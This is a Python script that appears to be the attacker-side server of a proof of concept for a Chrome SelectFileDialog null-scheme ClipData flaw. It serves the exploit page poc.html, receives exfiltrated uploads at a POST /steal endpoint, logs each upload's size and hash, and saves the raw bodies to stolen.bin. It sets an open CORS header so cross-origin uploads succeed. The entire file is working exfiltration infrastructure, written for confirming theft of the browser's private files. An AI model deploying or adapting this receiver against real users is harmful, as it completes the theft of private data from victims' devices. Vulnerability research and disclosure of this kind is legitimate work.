#!/usr/bin/env python3
"""HTTP server for the SelectFileDialog null-scheme ClipData POC.

Serves poc.html and accepts POST /steal uploads, logging filename, size, and
SHA-256 of the exfiltrated body so the operator can confirm Chrome's private
files were received.
"""

import hashlib
import http.server
import os
import socketserver
import sys

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
ROOT = os.path.dirname(os.path.abspath(__file__))


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=ROOT, **kw)

    def do_POST(self):
        if self.path != "/steal":
            self.send_error(404)
            return
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)
        digest = hashlib.sha256(body).hexdigest()
        sys.stderr.write(
            f"[steal] {length} bytes from {self.client_address[0]} "
            f"sha256={digest}\n"
        )
        # Persist for inspection (raw multipart body — good enough to prove
        # exfiltration; parse with any multipart library if needed).
        with open(os.path.join(ROOT, "stolen.bin"), "ab") as fh:
            fh.write(body)
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(b"ok")

    def end_headers(self):
        self.send_header("Cache-Control", "no-store")
        super().end_headers()


class ReuseAddrTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    with ReuseAddrTCPServer(("0.0.0.0", PORT), Handler) as httpd:
        sys.stderr.write(f"serving {ROOT} on 0.0.0.0:{PORT}\n")
        httpd.serve_forever()
